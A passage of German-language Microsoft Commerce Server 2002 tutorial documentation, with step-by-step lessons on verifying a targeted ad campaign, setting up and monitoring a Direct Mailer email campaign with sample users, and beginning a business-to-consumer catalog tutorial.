    Image URL | Geben Sie den Speicherort für die Commerce Server 2002-Anzeige ein.
    Click URL | Geben Sie http://www.microsoft.com/CommerceServer ein.
  6. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Anzeige zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.
  7. Klicken Sie im Menü Kampagnen auf Kampagnen veröffentlichen.
  8. Wählen Sie im Bildschirm Kampagnen veröffentlichen den Kampagnenartikel aus, den Sie veröffentlichen möchten. Klicken Sie anschließend auf der Symbolleiste auf Veröffentlichen.

    Der Kampagnenartikel wird zur Produktion gesendet. Die Site wird aktualisiert, und der neue Kampagnenartikel wird veröffentlicht.


Kurs 8: Überprüfen Ihrer Anzeigenkampagne

Um zu prüfen, ob die Anzeigenkampagne für die durch das Segmentmodell identifizierten Benutzer funktioniert, müssen Sie sich bei der PredictorDemo-Site als Benutzer der Benutzerliste Webentwickler anmelden und nachsehen, ob das Commerce Server 2002-Banner angezeigt wird. Um sich als Benutzer der Benutzerliste Webentwickler auszuweisen, benötigen Sie für die Authentifizierung eine entsprechende Benutzer-ID mit dazugehörigem Kennwort. Da Kennwörter in Commerce Server 2002 verschlüsselt sind, setzen Sie dazu das Kennwort eines der Benutzer zurück.

Dieser Abschnitt beinhaltet folgende Themen:

  • Schritt 1: Abrufen der Benutzer-ID und des Kennwortes eines Benutzers der Benutzerliste
  • Schritt 2: Anmelden als Benutzer bei der PredictorDemo-Site


Schritt 1: Abrufen der Benutzer-ID und des Kennwortes eines Benutzers der Benutzerliste

  1. Klicken Sie im Menü Profile auf Benutzer.
  2. Wenn der Bereich Suchen nicht geöffnet ist, klicken Sie auf der Symbolleiste auf Suchen.
  3. Wählen Sie in der Dropdownliste im Feld Suchen nach den Eintrag Benutzerlisten aus.
  4. Wählen Sie im Bereich Listenname den Eintrag Webentwickler aus, und klicken Sie dann auf Suchen.
  5. Wählen Sie in der Liste einen beliebigen Benutzer aus (z. B. Janett Benutzer), und klicken Sie dann auf der Symbolleiste auf Öffnen.
  6. Klicken Sie im Bildschirm Profil aktualisieren: '<Benutzername>' im Feld User Password des Bereichs General Information auf die Auslassungsschaltfläche [...].
  7. Nehmen Sie im Dialogfeld Kennwort zurücksetzen die folgenden Einstellungen vor:
    Funktion | Aktion
    Neues Kennwort | Geben Sie Kennwort ein.
    Kennwort bestätigen | Geben Sie Kennwort ein.
  8. Klicken Sie auf OK.
  9. Wählen Sie im Bereich Partner Service von Business Desk im Feld Partner Service Role Flags aus der Dropdownliste die Option Normaler Benutzer aus. Klicken Sie dann auf der Symbolleiste auf Speichern und zurück.


Schritt 2: Anmelden als Benutzer bei der PredictorDemo-Site

  1. Starten Sie Internet Explorer, und rufen Sie die PredictorDemo-Site unter http://localhost/predictordemo auf.
  2. Melden Sie sich mit der in Schritt 1 festgelegten Benutzer-ID und dem dazugehörigen Kennwort bei der Site an.

Das Commerce Server 2002-Banner wird angezeigt.


Direct Mailer-Lernprogramm

Direktsendungen werden erstellt, um E-Mail-Nachrichten zielgerichtet an eine Benutzergruppe zu senden und so durch eine hohe Antwortrate auf die Direktsendungen eine Erhöhung des Datenverkehrs in der Website und entsprechende Absatzsteigerungen zu erreichen. Direktsendungen können durch Anlagen mit weiterführenden Informationen ergänzt werden. Der Direktsendungsdienst ist für den Massenversand von personalisierten E-Mail-Nachrichten an Millionen Benutzer ausgelegt.

Dabei wird als Aufgabenbeispiel ein Systemadministrator eines Unternehmens mit dem Namen Adventure Works, das Campingausrüstungen verkauft, angenommen. Dessen Kampagnen-Manager möchte Anzeigen für eine Serie von Wanderschuhen in Form von personalisierten E-Mail-Nachrichten per Direct Mailer an neu registrierte Benutzer verteilen.

Weitere Informationen über Direct Mailer finden Sie unter Ausführen von Direct Mailer. Informationen zur Architektur von Direct Mailer finden Sie unter Verarbeiten von Direktsendungen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Vorbereiten auf das Direct Mailer-Lernprogramm
  • Kurs 1: Einrichten von Direct Mailer
  • Kurs 2: Erstellen des Nachrichtentextes für den Versand
  • Kurs 3: Erstellen einer Marketingkampagne
  • Kurs 4: Erstellen der Direktsendung
  • Kurs 5: Überwachen des Status von Direct Mailer-Aufträgen


Vorbereiten auf das DirectMailer-Lernprogramm

Feedback zu dieser Seite senden Commerce Server 2002

Vorbereiten auf das Direct Mailer-Lernprogramm

Bevor Sie mit dem Direct Mailer-Lernprogramm arbeiten können, müssen Sie folgende vorbereitende Schritte ausführen:

Hinweise

  • Bevor Sie die unten aufgelisteten Schritte ausführen, müssen Sie Commerce Server entsprechend den Anweisungen im Installationshandbuch für die Installation auf einem einzelnen Computer installieren.
  • Wenn Sie Ihre Site für die integrierte Sicherheit von Windows konfigurieren, müssen Sie für die Konten, unter denen die Dienste Direct Mailer und Listen-Manager ausgeführt werden, Berechtigungen erteilen. Informationen zum Konfigurieren des Commerce Server-Dienstes Direct Mail für die Arbeit mit der integrierten Sicherheit von Windows finden Sie unter Sichern von Dienstkonten.
  • Es empfiehlt sich, das Lernprogramm nicht auf einem Computer zu installieren, auf dem Commerce Server in einer Produktionsumgebung ausgeführt wird.

Dieser Abschnitt beinhaltet folgende Themen:

  • Entpacken der Retail-Site für das Direct Mailer-Lernprogramm
  • Installieren der Retail Business Desk-Anwendung
  • Erstellen und Importieren der Liste "Neue Benutzer"
  • Hinzufügen von Benutzerprofilen


Entpacken der Retail-Site für das Direct Mailer-Lernprogramm

Verwenden Sie Commerce Server Site Packager, um die im Direct Mailer-Lernprogramm verwendete Retail-Site zu entpacken. Anweisungen zum Entpacken einer Site finden Sie unter Installieren von Commerce Server 2002.


Installieren der Retail Business Desk-Anwendung

Nach dem Entpacken der Retail-Site können Sie den Business Desk Client installieren, indem Sie zu dem URL (Uniform Resource Locator) der Business Desk-Anwendung eine Verbindung herstellen.

So installieren Sie den Business Desk Client

  1. Klicken Sie auf Start, zeigen Sie auf Programme, und klicken Sie dann auf Internet Explorer.
  2. Geben Sie im Feld Adresse den URL für die Installation der Business Desk-Demoversion ein (z. B. http://<Computername>/RetailBizdesk). Drücken Sie dann die EINGABETASTE.
  3. Übernehmen Sie im Dialogfeld Nach Ordner suchen den Standardordner oder wählen Sie einen anderen Ordner aus, in dem die Datei der HTML-Anwendung (HTA) gespeichert werden soll. Klicken Sie anschließend auf OK.

    Das Setup-Programm für Business Desk Client wird gestartet. Wenn die Steuerelemente für Microsoft ActiveX noch nicht gedownloadet wurden, werden im oberen Bereich des Bildschirms Business Desk Client-Setup Tipps zur Problembehandlung angezeigt. Die Microsoft ActiveX-Steuerelemente sind zum Installieren von Business Desk Client erforderlich.

    Im unteren Bereich des Bildschirms werden Häkchen angezeigt, sobald die einzelnen Aufgaben abgeschlossen sind. Nach Durchführung aller vier Tasks ist die Business Desk-Installation abgeschlossen. Eine Verknüpfung zu Business Desk wird im unteren Bereich des Bildschirms angezeigt.

    Hinweis

    • Wenn Sie die ActiveX-Steuerelemente nicht downloaden können, folgen Sie den Anweisungen im Bildschirm Business Desk Client-Setup.
  4. Schließen Sie Internet Explorer, nachdem die Business Desk-Installation abgeschlossen ist.

Das Business Desk-Symbol erscheint als Verknüpfung sowohl auf Ihrem Desktop als auch im Menü Start.


Erstellen und Importieren der Liste "Neue Benutzer"

Bevor Sie eine Direktsendungskampagne erstellen können, müssen Sie zunächst die Liste Neue Benutzer erstellen und in den Listen-Manager importieren. An diese Benutzer wird die Direktsendungsnachricht anschließend gesendet.

Hinweis

  • Im Rahmen dieses Lernprogramms verwenden Sie die Liste Neue Benutzer für die Direktsendungskampagne. In einer Produktionsumgebung wird dagegen vom Entwickler ein Bericht "Neu registrierte Benutzer" ausgeführt und in den Listen-Manager exportiert.

Weitere Informationen über das Importieren von Listen in den Listen-Manager finden Sie unter Importieren und Exportieren von Listen.

So erstellen Sie die Liste "Neue Benutzer"

So importieren Sie die Liste "Neue Benutzer"

So erstellen Sie die Liste "Neue Benutzer"

  1. Geben Sie die folgende Liste mithilfe der Tastatur oder über die Zwischenablage in Editor ein:
BettinaBenutzer@microsoft.com,BettinaBenutzer
JensBenutzer@Microsoft.com,JensBenutzer
JanettBenutzer@Microsoft.com,JanettBenutzer
JörgBenutzer@Microsoft.com,JörgBenutzer
  1. Speichern Sie die Liste unter dem Namen NeueBenutzer im Verzeichnis <Laufwerk>:\Programme\Microsoft Commerce Server 2002.

Die Liste kann jetzt in den Listen-Manager importiert werden.

So importieren Sie die Liste "Neue Benutzer"

  1. Klicken Sie im Menü Kampagnen von Business Desk auf Listen-Manager.
  2. Klicken Sie im Bildschirm Listen-Manager auf der Symbolleiste auf Importieren.
  3. Wählen Sie in der Dropdownliste die Option Datei aus.
  4. Führen Sie im Dialogfeld Liste importieren folgende Schritte aus:
    Funktion | Aktion
    Listentyp | Wählen Sie die Option Statisch aus.
    Namen der Zielliste eingeben | Geben Sie Neue Benutzer ein.
    Geben Sie eine Datei auf dem Server an: Geben Sie <Laufwerk>:\Programme\Microsoft Commerce Server 2002\NeueBenutzer.txt ein.
  5. Klicken Sie auf OK.

Die Liste Neue Benutzer wird im Listen-Manager angezeigt. Im weiteren Verlauf dieses Lernprogramms werden Sie diese Liste für Ihre Direktsendungskampagne verwenden.


Hinzufügen von Benutzerprofilen

In diesem Lernprogramm wird eine personalisierte Active Server Page (ASP) entwickelt, die personalisierten Nachrichtentext für Direct Mailer zur Verfügung stellt. So beginnt die E-Mail beispielsweise nicht mit "Sehr geehrter Sitebesucher" sondern mit "Sehr geehrte(r) <Name des E-Mail-Empfängers>". Neben einer E-Mail-Adresse enthält die Adressenliste für jeden Eintrag auch eine Benutzer-ID. Für jeden in der Adressenliste enthaltenen Empfänger generiert Direct Mailer anhand der Benutzer-ID ein Benutzerprofil-Manager-Cookie.

Im Rahmen dieses Kurses fügen Sie in Microsoft SQL Server vier Profile hinzu.

Hinweis

  • Da Sie die Benutzerprofile in Microsoft SQL Server hinzufügen, können Sie die Benutzer-ID für jeden Empfänger eingeben. Die Benutzer-IDs in den Benutzerprofilen müssen mit den entsprechenden Benutzer-IDs der Empfänger in der Adressenliste übereinstimmen.

So fügen Sie ein Benutzerprofil hinzu

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server, und klicken Sie auf Enterprise Manager.
  2. Erweitern Sie die Knoten \Microsoft SQL Servers\SQL Server-Gruppe\<Name des SQL Server-Computers>\Datenbanken\Retail_commerce, und klicken Sie dann auf Tabellen.
  3. Führen Sie im rechten Bereich einen Bildlauf nach unten durch, klicken Sie mit der rechten Maustaste auf die Tabelle "UserObject", zeigen Sie auf Tabelle öffnen, und klicken Sie dann auf Alle Zeilen zurückgeben.
  4. Geben Sie für Bettina Benutzer folgende Informationen ein:
    Feld | Schlüssel
    g_user_id | BettinaBenutzer
    u_user_title | Systemadministrator
    u_first_name | Bettina
    u_last_name | Benutzer
    u_email_address | BettinaBenutzer@microsoft.com
    U_logon_name | BettinaBenutzer
  5. Geben Sie für Jens Benutzer folgende Informationen ein:
    Feld | Schlüssel
    g_user_id | JensBenutzer
    u_user_title | Systemadministrator
    u_first_name | Jens
    u_last_name | Benutzer
    u_email_address | JensBenutzer@microsoft.com
    U_logon_name | JensBenutzer
  6. Geben Sie für Janett Benutzer folgende Informationen ein:
    Feld | Schlüssel
    g_user_id | JanettBenutzer
    u_user_title | Systemadministrator
    u_first_name | Janett
    u_last_name | Benutzer
    u_email_address | JanettBenutzer@microsoft.com
    U_logon_name | JanettBenutzer
  7. Geben Sie für Jörg Benutzer folgende Informationen ein:
    Feld | Schlüssel
    g_user_id | JörgBenutzer
    u_user_title | Systemadministrator
    u_first_name | Jörg
    u_last_name | Benutzer
    u_email_address | JörgBenutzer@microsoft.com
    U_logon_name | JörgBenutzer
  8. Schließen Sie SQL Server Enterprise Manager.


Kurs 1: Einrichten von DirectMailer

Feedback zu dieser Seite senden Commerce Server 2002

Kurs 1: Einrichten von Direct Mailer

In diesem Kurs richten Sie Direct Mailer für die Verwendung eines Ablageverzeichnisses ein. Ablageverzeichnisse ermöglichen die Verarbeitung der Direct Mailer-Aufträge durch einen Microsoft Exchange Server-Computer, der die Dateien asynchron zur Verfügung stellt. Da die Verknüpfung zwischen Direct Mailer und Exchange asynchron angelegt ist, können die Aufträge schneller verarbeitet werden. Weitere Informationen über Direct Mailer finden Sie unter Konfigurieren von Direct Mailer.

Um die Ausführung Ihres Direct Mailer-Auftrags zu beeinflussen, müssen Sie die Direct Mailer-Eigenschaften ändern. In diesem Schritt richten Sie den Direct Mailer-Übermittlungspfad für die Verwendung eines Ablageverzeichnisses ein.

So richten Sie Direct Mailer für die Verwendung eines Ablageverzeichnisses ein

  1. Öffnen Sie den Commerce Server-Manager über das Menü Start, Programme, Microsoft Commerce Server 2002, Commerce Server-Manager. Erweitern Sie nacheinander Commerce Server-Manager und Globale Ressourcen, klicken Sie mit der rechten Maustaste auf Direct Mail on <Servername>, und wählen Sie dann Eigenschaften aus.
  2. Führen Sie im Dialogfeld Eigenschaften von Direct Mail on <Servername> auf der Registerkarte Eigenschaften folgende Schritte aus:
    Option (Eigenschaften) | Aktion (Ausgewählter Eigenschaftswert)
    Anzahl der Wiederholungen | Durch diesen Wert wird angegeben, wie oft der Verbindungsaufbau zur DirectMailer-Datenbank im Fall von Verbindungsfehlern wiederholt wird. Übernehmen Sie den Standardwert 10.
    Pipelinekonfigurationsdatei | Hier wird der Speicherort der Pipelinekonfigurationsdatei DMLPipe.pcf angegeben. Übernehmen Sie die Vorgabe <Laufwerk>:\Programme\Microsoft Commerce Server 2002\DMLPipe.pcf.
    Protokollordnerpfad | Überprüfen Sie, ob der Pfad <Laufwerk>:\WINNT\System32\LogFiles als Protokollordner eingestellt ist.
    Übermittlungsmethode | Geben Sie 2 ein, um die Direktsendung an das Ablageverzeichnis zu übermitteln.
    Übermittlungspfade | Geben Sie <Laufwerk>:\Programme\Microsoft Commerce Server 2002\DML_drop ein.
    Wiederholungsintervall | Durch diesen Wert wird angegeben, welcher Zeitraum (in Sekunden) zwischen den Wiederholversuchen zum Datenbankverbindungsaufbau liegen soll. Übernehmen Sie den Standardwert 30.
  3. Klicken Sie auf OK.


Kurs 2: Erstellen des Nachrichtentextes für den Versand

In diesem Kurs wird eine personalisierte Active Server Page (ASP) entwickelt, die personalisierten Nachrichtentext für Direct Mailer zur Verfügung stellt. Zum Erstellen von Inhalten für Direktsendungsnachrichten stehen verschiedene Möglichkeiten zur Auswahl. Informationen über Nachrichtenformate in Direct Mailer finden Sie unter Nachrichtenformate.

Im Rahmen dieses Lernprogramms erstellen Sie die Inhalte für die Direktsendungsnachrichten mithilfe der Datei ServiceReminder.asp. Die in dieser ASP-Datei enthaltene personalisierte E-Mail-Nachricht informiert die neuen Benutzer über Produkte, die zur Website von Adventure Works hinzugefügt werden. Die ASP-Datei enthält ferner einen Link, über den sich die Empfänger gegebenenfalls aus der Adressenliste entfernen können.

So entwickeln Sie eine personalisierte Active Server Page (ASP)

  1. Öffnen Sie im Verzeichnis <Laufwerk>:\Inetpub\wwwroot\retail von Windows-Explorer die Datei ServiceReminder.asp in Editor, um die ASP-Seite zu bearbeiten.
  2. Nehmen Sie auf der Seite ServiceReminder.asp folgende Änderungen vor:
    Alter Text | Neuer Text
    From: E-mail Notifier | From: Adventure-Works
    Subject: New product notice | Subject: New customer notice.

    Hinweis

    • In dieser ASP-Seite wird die Benutzer-ID vom Objekt AuthManager als strUserID = objAuthManager.GetUserID(1) abgerufen. Beim Zugriff auf die ASP-Datei empfängt Direct Mailer das Authentifizierungscookie. Das Benutzerobjektprofil wird aus dem Profildienst abgerufen.
  3. Speichern und schließen Sie die ASP-Datei.


Kurs 3: Erstellen einer Marketingkampagne

In diesem Kurs erstellen Sie eine Marketingkampagne (Direktsendungskampagne) für neue Benutzer. Im Zuge einer Marketingkampagne werden zum Erzielen eines bestimmten Ergebnisses (z. B. Erhöhung von Marktanteilen, Einführung neuer Produkte oder Verbesserung der Kundenbindung) diverse Kommunikationsmittel (z. B. Direktsendungsnachrichten) eingesetzt. Jede Marketingkampagne stellt eine(n) oder mehrere Verträge bzw. Bestellungen eines Kunden dar. Um eine Marketingkampagne zu erstellen, fügen Sie dem Modul "Kampagnen-Manager" einen Kunden hinzu und erstellen für diesen Kunden eine Anzeigenkampagne.

  • Schritt 1: Hinzufügen eines Kampagnenkunden
  • Schritt 2: Hinzufügen einer Kampagne


Schritt 1: Hinzufügen eines Kampagnenkunden

  1. Klicken Sie im Menü Kampagnen von Commerce Server Business Desk auf Kampagnen-Manager.
  2. Klicken Sie im Bildschirm Kampagnen-Manager auf der Symbolleiste auf Neu, und wählen Sie dann in der Dropdownliste Neue(r) Kunde/Kundin aus.
  3. Führen Sie im Bildschirm Kampagnen-Manager – Neu (Kunde/Kundin) im Bereich Kundeneigenschaften folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Adventure Works ein.
    Typ | Wählen Sie in der Dropdownliste die Option Selbst aus.
    Branche Wählen Sie in der Dropdownliste die Option Reisen aus.

    Hinweis

    • Mithilfe von Branchencodes identifizieren Sie die Branche, aus der eine Anzeige stammt. So können Sie verhindern, dass zwei Anzeigen von Konkurrenzunternehmen einer Branche auf derselben Seite erscheinen. Informationen über Branchencodes finden Sie unter Hinzufügen von Branchencodes.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den neuen Kunden zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

Der neue Kunde, Adventure Works, wird gespeichert und im Bildschirm Kampagnen-Manager angezeigt.


Schritt 2: Hinzufügen einer Kampagne

  1. Wählen Sie im Bildschirm Kampagnen-Manager die Option Adventure Works aus.
  2. Klicken Sie im Bildschirm Kampagnen-Manager auf der Symbolleiste auf Neu, und wählen Sie dann in der Dropdownliste die Option Neue Kampagne aus.
  3. Führen Sie im Bereich Kampagneneigenschaften des Bildschirms Kampagnen-Manager – Adventure Works – Neu (Kampagne) folgende Schritte aus:
    Option | Aktion
    Kampagnenname | Geben Sie Neue Benutzer ein.
    Anfangsdatum | Wählen Sie aus dem Dropdownkalender das Datum des vorhergehenden Tages aus.
    Beendigungsdatum | Wählen Sie aus dem Dropdownkalender ein Datum aus dem nächsten Monat aus.
    Status | Wählen Sie in der Dropdownliste die Option Aktiv aus.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Kampagne zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

Damit ist die Kampagne Neue Benutzer gespeichert.


Kurs 4: Erstellen der Direktsendung

In diesem Kurs erstellen Sie Ihren Direktsendungs-Kampagnenartikel. Sie verteilen eine Direktsendung an die Liste der neu registrierten Benutzer und bieten ihnen darin einen Sonderrabatt für Wanderschuhe an. Außerdem wird anhand einer Testnachricht die korrekte Versendung überprüft.

Im Rahmen dieses Lernprogramms wird davon ausgegangen, dass Ihr Entwickler die Daten der Protokolldateien aus den letzten beiden Monaten importiert, einen statischen Bericht für die neu registrierten Benutzer ausgeführt und den Bericht anschließend in den Listen-Manager importiert hat. (Zur Vereinfachung verwenden Sie in diesem Kurs die Liste Neue Benutzer, die Sie im Kurs Vorbereiten auf das Direct Mailer-Lernprogramm in den Listen-Manager importiert haben.)

Bericht "Neu registrierte Benutzer"

Informationen über das Importieren von Daten aus Protokolldateien und das Ausführen von Berichten finden Sie unter Ausführen von Berichten.

In diesem Kurs führen Sie folgende Schritte aus:

  • Schritt 1: Erstellen eines Direktsendungs-Kampagnenartikels
  • Schritt 2: Überprüfen, ob die Testnachricht gesendet wurde


Schritt 1: Erstellen eines Direktsendungs-Kampagnenartikels

Hinweis

  • Bevor Sie eine Direktsendungskampagne erstellen können, müssen Sie sicherstellen, dass der SQL Server-Agent läuft. Wenn der SQL Server-Agent nicht läuft, können Sie Ihre Direktsendungskampagne nicht speichern.
  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Erweitern Sie im Bildschirm Kampagnen-Manager den Knoten Adventure Works, und wählen Sie die Kampagne Neue Benutzer aus.
  3. Klicken Sie auf der Symbolleiste auf Neu, und wählen Sie anschließend in der Dropdownliste die Option Neue Direktsendung aus.
  4. Führen Sie im Bildschirm Kampagnen-Manager – Adventure Works – Neue Benutzer – Neu (Direktsendung) im Bereich Direktsendungseigenschaften folgende Schritte aus:
    Funktion | Aktion
    Direktsendungsname | Geben Sie ZielMail ein.
    Nachricht von E-Mail-Adresse | Geben Sie WebMaster@Adventure-Works.com ein.
    Betreff | Geben Sie Sonderrabatt für Neukunden auf Wanderschuhe ein.
    Dateipfad oder URL, der den Nachrichtentext enthält | Geben Sie den URL http://<Servername>/retail/servicereminder.asp ein.
    Adressenliste | Wählen Sie in der Dropdownliste die Option Neue Benutzer aus.
    Direktsendung für Benutzer personalisieren | Da Sie im Rahmen dieses Lernprogramms eine personalisierte Direktsendungsnachricht versenden möchten, muss dieses Kontrollkästchen aktiviert sein.
    Mailformat Wählen Sie in der Dropdownliste die Option MHTML aus.

    Informationen über Mailformate finden Sie unter Nachrichtenformate.
  5. Führen Sie im Bereich Mailzeitplan folgende Schritte aus:
    Funktion | Aktion
    Anfangsdatum | Wählen Sie in der Dropdownliste das heutige Datum aus.
    Anfangszeit Wählen Sie in der Dropdownliste die nächste volle Stunde aus.

    Hinweis

    • Die Uhrzeit wird im 24-Stunden-Modus angegeben. Wenn es also gerade 14:45 Uhr ist, wählen Sie in der Dropdownliste 15:00 aus.
    Versandintervall | Stellen Sie sicher, dass Einmalig angezeigt wird.
  6. Führen Sie im Bereich Test folgende Schritte aus:
    Funktion | Aktion
    Testliste | Wählen Sie in der Dropdownliste die Option Neue Benutzer aus.
    Testnachricht versenden | Klicken Sie hierauf, um eine Testnachricht zu versenden.
  7. Klicken Sie im Dialogfeld Direktsendung auf Ja und im daraufhin erscheinenden Dialogfeld auf OK.
  8. Klicken Sie auf der Symbolleiste auf Zurück, um zum Bildschirm Kampagnen-Manager zurückzukehren.

Die Direktsendungskampagne wird dem Modul "Kampagnen-Manager" hinzugefügt. Fahren Sie mit Schritt 2: Überprüfen, ob die Testnachricht gesendet wurde fort.


Schritt 2: Überprüfen, ob die Testnachricht gesendet wurde

In Kurs 1, "Einrichten von Direct Mailer", haben Sie festgelegt, dass die E-Mail-Nachrichten in einem Ablageverzeichnis abgelegt werden sollen. Sie können überprüfen, ob die Nachrichten tatsächlich an das DML-Ablageverzeichnis auf dem Server gesendet wurden.

  1. Navigieren Sie auf Ihrem Server zum Verzeichnis DML_drop. Wechseln Sie in Windows-Explorer zur Datei <Laufwerk>:\Programme\Microsoft Commerce Server 2002\DML_drop. Die Datei mit der Erweiterung ".eml", die die Direktsendungsnachricht enthält, wird angezeigt.
  2. Doppelklicken Sie auf die EML-Dateien, um die Testnachricht anzuzeigen.

Die Testnachricht sollte etwa folgendermaßen aussehen:

In dieser Testnachricht wird die Benutzer-ID aus dem Objekt AuthManager und das UserObject-Profil aus dem Profildienst abgerufen.


Kurs 5: Überwachen des Status von DirectMailer-Aufträgen

Feedback zu dieser Seite senden Commerce Server 2002

Kurs 5: Überwachen des Status von Direct Mailer-Aufträgen

In diesem Kurs verwenden Sie den SQL Server-Agent, um den Status Ihres Direct Mailer-Auftrags anzuzeigen und den Auftrag vor der automatischen Ausführung manuell zu starten.

Der Status des Direct Mailer-Auftrags wird unter Verwendung der Befehlszeilenschnittstelle überprüft. Informationen zu Fehlern, die während der Ausführung des Direct Mailer-Auftrags auftreten können, finden Sie unter Überwachen von Direct Mailer-Aufträgen.

  • Schritt 1: Anzeigen des Status Ihres Direct Mailer-Auftrags im SQL Server-Agent
  • Schritt 2: Starten eines Direct Mailer-Auftrags im SQL Server-Agent
  • Schritt 3: Überwachen des Status Ihres Direct Mailer-Auftrags


Schritt 1: Anzeigen des Status Ihres DirectMailer-Auftrags im SQLServer-Agent

Feedback zu dieser Seite senden Commerce Server 2002

Schritt 1: Anzeigen des Status Ihres Direct Mailer-Auftrags im SQL Server-Agent

Mit dem SQL Server-Agent, der permanent ausgeführt wird, können Sie detaillierte Informationen zu Ihren Direct Mailer-Aufträgen anzeigen lassen. Sie können den Status von Direct Mailer-Aufträgen, das Datum und die Uhrzeit der letzten Ausführung und den Zeitpunkt der nächsten geplanten Ausführung überprüfen.

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server, und klicken Sie auf Enterprise Manager.
  2. Erweitern Sie die Knoten zu folgendem Pfad: \Microsoft SQL Servers\SQL Server-Gruppe\<Name des SQL Server-Computers>\Verwaltung\SQL Server-Agent\.
  3. Klicken Sie auf Aufträge.

Die Direct Mailer-Aufträge werden im rechten Bereich von SQL Server Enterprise Manager angezeigt.


Schritt 2: Starten eines DirectMailer-Auftrags im SQLServer-Agent

Feedback zu dieser Seite senden Commerce Server 2002

Schritt 2: Starten eines Direct Mailer-Auftrags im SQL Server-Agent

Mithilfe des SQL Server-Agents können Sie Sendungsaufträge starten und anhalten sowie den Auftragsverlauf anzeigen.

  1. Erweitern Sie die Knoten zu folgendem Pfad: \Microsoft SQL Servers\SQL Server-Gruppe\<Name des SQL Server-Computers>\Verwaltung\SQL Server-Agent\.
  2. Klicken Sie auf Aufträge. Die Direct Mailer-Aufträge werden im rechten Bereich von SQL Server Enterprise Manager angezeigt.
  3. Klicken Sie mit der rechten Maustaste auf den Direct Mailer-Auftrag, und wählen Sie Auftrag starten aus.

Hinweis

  • Zur erneuten Planung eines Direct Mailer-Auftrags verwenden Sie das Modul "Kampagnen-Manager" in Commerce Server Business Desk.


Schritt 3: Überwachen des Status Ihres DirectMailer-Auftrags

Feedback zu dieser Seite senden Commerce Server 2002

Schritt 3: Überwachen des Status Ihres Direct Mailer-Auftrags

Über die Befehlszeilenschnittstelle können Sie überprüfen, ob Ihr Direct Mailer-Auftrag gegenwärtig ausgeführt wird, angehalten bzw. beendet wurde oder ob die Ausführung erfolgreich abgeschlossen ist.

  • Geben Sie in der Befehlszeile DmlRun /list ein, um eine Liste aller Direct Mailer-Aufträge anzuzeigen.

Die Liste der Direct Mailer-Aufträge wird angezeigt.

In der folgenden Tabelle finden Sie eine Liste der Auftragsstatuscodes.

Code | Beschreibung
0 | Der Auftrag wurde erstellt, aber noch nicht initialisiert.
1 | Der Auftrag wurde vollständig definiert, wird aber nicht ausgeführt (Inaktiv), oder er wurde beendet.
2 | Der Auftrag ist abgeschlossen.
3 | Der Auftrag wird ausgeführt (Aktiv).
4 | Der Auftrag wird ausgeführt, wurde aber vorübergehend angehalten (angehalten, aber noch Aktiv).
-2 | Der Auftrag wurde von Direct Mailer angehalten, da schwer wiegende Probleme aufgetreten sind oder der Grenzwert für die Fehlerschwelle erreicht wurde.
-3 | Der Auftrag wurde als css_site definiert, bei Laufzeit standen jedoch nicht alle Daten zur Verfügung.


Business-To-Consumer-Lernprogramm

Microsoft Commerce Server 2002 enthält eine umfassende Toolsammlung, mit deren Hilfe Sie E-Commerce-Anwendungen für das Web erstellen können. Dieses Lernprogramm bietet schrittweise Anleitungen für den Einsatz von Commerce Server bei der Verwaltung Ihrer Website.

Dieser Abschnitt beinhaltet folgende Themen:

  • Informationen über das Business-To-Consumer-Szenario
  • Vorbereiten auf das Lernprogramm
  • Kurs 1: Erstellen des Katalogs
  • Kurs 2: Erstellen einer Marketingkampagne
  • Kurs 3: Analyse der Produktverkäufe


Informationen über das Business-To-Consumer-Szenario

Sie sind Businessmanager des Unternehmens Adventure Works, das Campingausrüstungen verkauft. Normalerweise bieten Sie Ihre Produkte in Bestellkatalogen an. Jetzt haben Sie jedoch einen Entwickler eingestellt, der eine Website erstellt, mit der Sie die Campingausrüstungen auch online verkaufen können.

Der aktuelle Adventure Works-Katalog ist in der Datei AdvWrksCatalog.xml gespeichert. Da Sie Ihre Produkte an Kunden in Deutschland und den USA verkaufen möchten, gestalten Sie die Website so, dass Transaktionen in beiden Währungen, also in Euro und US-Dollar möglich sind. Zusätzlich erstellen Sie einen neuen Katalog für Ihre neue Campingkartenabteilung.

In diesem Lernprogramm werden Sie folgende Schritte durchführen:

  • Importieren Ihres vorhandenen Basiskatalogs in Business Desk
  • Erstellen eines neuen Basiskatalogs
  • Erstellen eines virtuellen Katalogs zur Kombination Ihrer beiden Kataloge
  • Erstellen einer Anzeigenkampagne, die eine bestimmte Zielgruppe von Outdoor-Fans anspricht, die in Ihrer Website einkaufen.


Vorbereiten des Lernprogramms

Ihr Systemadministrator muss einige vorbereitende Aufgaben erledigen, bevor Sie mit dem Lernprogramm beginnen können. Nachdem diese Aufgaben erfüllt sind, können Sie mit dem Business-To-Consumer-Lernprogramm, Kurs 1, fortfahren.

Hinweise

  • Bevor Sie die unten aufgelisteten Schritte ausführen, müssen Sie Commerce Server entsprechend den Anweisungen im Commerce Server 2002-Installationshandbuch für die Installation auf einem einzelnen Computer installieren. Es ist nicht empfehlenswert, das Lernprogramm auf einem Computer zu installieren, auf dem Commerce Server in einer Produktionsumgebung ausgeführt wird.

Der Systemadministrator muss folgende Aufgaben erledigen:

  • Entpacken der Retail-Site für das Lernprogramm
  • Kopieren der Bilddateien für das Lernprogramm in Ihre Site
  • Zugreifen auf Datenquellen für das Lernprogramm über Domänengrenzen hinweg


Entpacken der Retail-Site für das Lernprogramm

Ihr Systemadministrator muss Commerce Server Site Packager zum Entpacken der Retail-Site verwenden. Diese Site wird im gesamten Business-to-Consumer-Lernprogramm verwendet.

Die Commerce Server-Retail-Site steht unter http://go.microsoft.com/fwlink/?linkid=6491 zur Verfügung.

Anweisungen zum Entpacken einer Site finden Sie im Commerce Server 2002-Installationshandbuch.


Kopieren der Bilddateien für das Lernprogramm in Ihre Site

